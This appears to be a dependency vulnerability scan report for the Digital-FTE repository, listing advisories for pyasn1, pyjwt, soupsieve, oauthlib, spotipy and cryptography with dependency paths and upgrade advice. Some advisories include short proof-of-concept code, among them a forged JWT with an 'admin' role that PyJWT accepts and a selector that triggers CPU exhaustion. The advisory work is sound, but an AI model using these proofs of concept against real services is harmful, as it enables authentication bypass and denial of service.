  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the ConstructedPayloadDecoderBase._decodeComponentsSchemaless method in pyasn1/codec/ber/decoder.py. An attacker can exhaust CPU during a schemaless decode() of a BER, CER, or DER container by supplying many components whose long tag IDs produce colliding TagSet hashes, so each component's insertion into the growing classification set compares against all earlier entries. Exploitation requires the application to decode attacker-controlled data without an ASN.1 schema, since the schema-driven path does not build this classification set.

Remediation

Upgrade pyasn1 to version 0.6.5 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: pyasn1
  • Introduced through: google-auth-httplib2@0.3.0, google-api-python-client@2.198.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion when decoding ASN.1 data. An attacker can cause the application to crash or exhaust system memory by supplying specially crafted ASN.1 data with deeply nested SEQUENCE or SET tags using indefinite Length markers.

Remediation

Upgrade pyasn1 to version 0.6.3 or higher.

References

high severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to improper validation of the crit header parameter. An attacker can bypass critical header checks by crafting a JSON Web Signature (JWS) token with unrecognized critical extensions.

PoC

import jwt  # PyJWT 2.8.0
import hmac, hashlib, base64, json

# Construct token with unknown critical extension
header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"}
payload = {"sub": "attacker", "role": "admin"}

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{sig}"

# Should REJECT — x-custom-policy is not understood by PyJWT
try:
    result = jwt.decode(token, "secret", algorithms=["HS256"])
    print(f"ACCEPTED: {result}")
    # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}
except Exception as e:
    print(f"REJECTED: {e}")

Remediation

Upgrade pyjwt to version 2.12.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: soupsieve
  • Introduced through: linkedin-api@2.2.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › beautifulsoup4@4.15.0 › soupsieve@2.4.1
    Remediation: Upgrade to linkedin-api@2.2.1.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the compile function. An attacker can cause excessive memory consumption by supplying a large comma-separated selector list, leading to process termination or degraded system performance.

Remediation

Upgrade soupsieve to version 2.8.4 or higher.

References

high severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: soupsieve
  • Introduced through: linkedin-api@2.2.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › beautifulsoup4@4.15.0 › soupsieve@2.4.1
    Remediation: Upgrade to linkedin-api@2.2.1.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the descendant combinator matching logic in css_match.py, where matching a selector containing one or more descendant combinators (a b) takes time that grows polynomially with document nesting depth. For a selector with k descendant combinators, matching against a chain of n nested elements takes O(n^(k+1)) time because ancestor walks are repeated without caching, re-evaluating the same ancestors against the same selector parts on every pass. An attacker who controls the HTML or XML passed to Soup Sieve can supply a deeply nested document of roughly 1 KB to keep a CPU busy for close to a minute against an ordinary selector such as section div div.

Note: This is only exploitable when selectors are compiled with the NOCACHE flag, or on versions prior to 4.0.0 where caching was not yet implemented. After upgrading, the NOCACHE flag disables the fix and restores polynomial-time behaviour.

Workaround

If upgrading is not possible: use child combinators (a > b) instead of descendant combinators where document structure is known; limit the size and nesting depth of untrusted documents before selecting on them; or run selection on untrusted input in a worker process with a time limit.

PoC

import time
import bs4
import soupsieve as sv

soup = bs4.BeautifulSoup('<div>' * 200, 'html.parser')
t = time.process_time()
sv.select('section div div div', soup)
print(time.process_time() - t)

On affected versions, doubling the nesting depth multiplies the time by about 2^(k+1), where k is the number of descendant combinators: about 4x for section div, 8x for section div div, and 16x for section div div div.

Remediation

Upgrade soupsieve to version 4.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: soupsieve
  • Introduced through: linkedin-api@2.2.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › beautifulsoup4@4.15.0 › soupsieve@2.4.1
    Remediation: Upgrade to linkedin-api@2.2.1.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the VALUE regex pattern within the selector parsing process. An attacker can cause excessive CPU consumption and block server threads by submitting specially crafted attribute selectors with unterminated quoted values, leading to exponential backtracking in the regular expression engine.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade soupsieve to version 2.8.4 or higher.

References

high severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: soupsieve
  • Introduced through: linkedin-api@2.2.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › linkedin-api@2.2.0 › beautifulsoup4@4.15.0 › soupsieve@2.4.1
    Remediation: Upgrade to linkedin-api@2.2.1.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the IDENTIFIER/CSS_ESCAPES regex in css_parser.py (lines 119-124), which exhibits exponential backtracking when processing a run of ambiguous digit-escapes (e.g. \9) in an attribute-name or tag position of an otherwise well-formed CSS selector. An attacker can supply a selector string of approximately 60 bytes containing repeated \9 sequences to cause the worker process to hang for tens of seconds or more. The vulnerability fires at compile time, before the SELECTOR_LIMIT guard, through the public soupsieve.compile() API and BeautifulSoup's .select().

Note: This is only exploitable when an application compiles untrusted selector strings (e.g. web-scraping-as-a-service platforms, no-code query builders, or user-defined extraction rules).

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade soupsieve to version 3.0 or higher.

References

high severity

Incorrect Authorization

  • Vulnerable module: oauthlib
  • Introduced through: google-auth-oauthlib@1.3.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › requests-oauthlib@2.0.0 › oauthlib@3.2.2
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.

Overview

Affected versions of this package are vulnerable to Incorrect Authorization via the token endpoint grant handlers (validate_token_request in authorization_code.py, client_credentials.py, resource_owner_password_credentials.py, and related grant types) due to a missing cross-check between the authenticated client identity and the client_id supplied in the request body. An authenticated client can pass a different client_id value in the token request body, causing scope and grant-type validation to be performed against the spoofed identity rather than the authenticated one, allowing the attacker to obtain tokens with scopes and privileges belonging to a different client.

Remediation

Upgrade oauthlib to version 4.0.0 or higher.

References

high severity

Incorrect Default Permissions

  • Vulnerable module: spotipy
  • Introduced through: spotipy@2.23.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › spotipy@2.23.0
    Remediation: Upgrade to spotipy@2.25.1.

Overview

spotipy is an A light weight Python library for the Spotify Web API

Affected versions of this package are vulnerable to Incorrect Default Permissions via the CacheHandler class. An attacker can gain unauthorized access to administrative actions on the Spotify account by reading the spotify auth token exposed in the file created by the CacheHandler class with the rw-r--r-- (644) default permissions.

PoC

Run an application that uses spotipy with client creation like this:

from pathlib import Path
import spotipy
from os import getenv

def create_spotify_client(client_id: str, client_secret: str) -> spotipy.Spotify:
    """Create and return an authenticated Spotify client.

    Args:
        client_id: Spotify API client ID
        client_secret: Spotify API client secret

    Returns:
        An authenticated Spotify client instance
    """
    cache_path = Path.home() / ".cache" / "spotify-backup/.auth_cache"
    cache_path.parent.mkdir(parents=True, exist_ok=True)
    cache_handler = spotipy.cache_handler.CacheFileHandler(cache_path=str(cache_path))

    client = spotipy.Spotify(
        auth_manager=spotipy.oauth2.SpotifyOAuth(
            client_id=client_id,
            client_secret=client_secret,
            redirect_uri="http://localhost:8000/callback",
            cache_handler=cache_handler,
            scope=[
                "user-library-read",
                "playlist-read-private",
                "playlist-read-collaborative",
            ],
        )
    )

    return client

create_spotify_client()

And then check the file permissions on the cache file that was created with:

$ ls -la ~/.cache/spotify-backup/.auth_cache`
.rw-r--r--. alichtman alichtman 562 B Thu Feb 20 02:12:33 2025  /home/alichtman/.cache/spotify-backup/.auth_cache

If this issue is combined with another misconfiguration, like having o+r permissions set on your home directory, an attacker will be able to read this file and steal this auth token.

Remediation

Upgrade spotipy to version 2.25.1 or higher.

References

high severity

Improper Certificate Validation

  • Vulnerable module: cryptography
  • Introduced through: cryptography@45.0.7, py-vapid@1.9.6 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › cryptography@45.0.7
    Remediation: Upgrade to cryptography@49.0.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to py-vapid@1.9.6.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0 › cryptography@45.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › http-ece@1.2.1 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.

Overview

Affected versions of this package are vulnerable to Improper Certificate Validation in the DNSConstraint::matches. An attacker can bypass name constraints by presenting a certificate with a wildcard DNS Subject Alternative Name that is improperly validated, allowing acceptance of certificate chains that should be rejected.

Remediation

Upgrade cryptography to version 49.0.0 or higher.

References

high severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: pyjwt
  • Introduced through: firebase-admin@6.9.0

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

PyJWT is a Python implementation of RFC 7519.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via the from_jwk function in jwt/algorithms.py when loading an OKP (Octet Key Pair) private key from a JWK. The function constructs the private key from the d parameter without verifying that the supplied public key component x matches the public key derived from d, allowing an attacker to supply a JWK where the private and public key components are inconsistent. This mismatch can be exploited to bypass signature verification, as the public key used for verification does not correspond to the private key used for signing.

Remediation

Upgrade PyJWT to version 2.15.0 or higher.

References

high severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: cryptography
  • Introduced through: cryptography@45.0.7, py-vapid@1.9.6 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › cryptography@45.0.7
    Remediation: Upgrade to cryptography@46.0.5.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to py-vapid@1.9.6.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0 › cryptography@45.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › http-ece@1.2.1 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in public key functions public_key_from_numbers, EllipticCurvePublicNumbers.public_key, load_der_public_key, and load_pem_public_key, which may reveal bits from a private key when provided with a malicious public key as input. When the application is using sect* binary curves for verification - which is a rare use case - these functions do not verify that the provided point belongs to the expected prime-order subgroup of the curve. An attacker can thus expose partial private keys or forge signatures.

Remediation

Upgrade cryptography to version 46.0.5 or higher.

References

high severity

Timing Attack

  • Vulnerable module: cryptography
  • Introduced through: cryptography@45.0.7, py-vapid@1.9.6 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › cryptography@45.0.7
    Remediation: Upgrade to cryptography@50.0.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to py-vapid@1.9.6.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › pyjwt@2.8.0 › cryptography@45.0.7
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › py-vapid@1.9.6 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › pywebpush@2.1.2 › http-ece@1.2.1 › cryptography@45.0.7
    Remediation: Upgrade to pywebpush@2.1.2.

Overview

Affected versions of this package are vulnerable to Timing Attack in the pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime functions. An attacker can obtain sensitive information about the outcome of RSA decryption operations by submitting crafted EnvelopedData and analyzing error messages or timing differences. This can be exploited to perform adaptive chosen ciphertext attacks against the content-encryption key.

Note: This is only exploitable if the application automatically decrypts untrusted EnvelopedData matching the victim certificate and provides adaptive responses at high volume, such as in S/MIME gateways or mail filters, and if the linked cryptographic library lacks implicit rejection (e.g., OpenSSL 3.0/3.1, LibreSSL, BoringSSL).

Remediation

Upgrade cryptography to version 50.0.0 or higher.

References

high severity

Uncontrolled Recursion

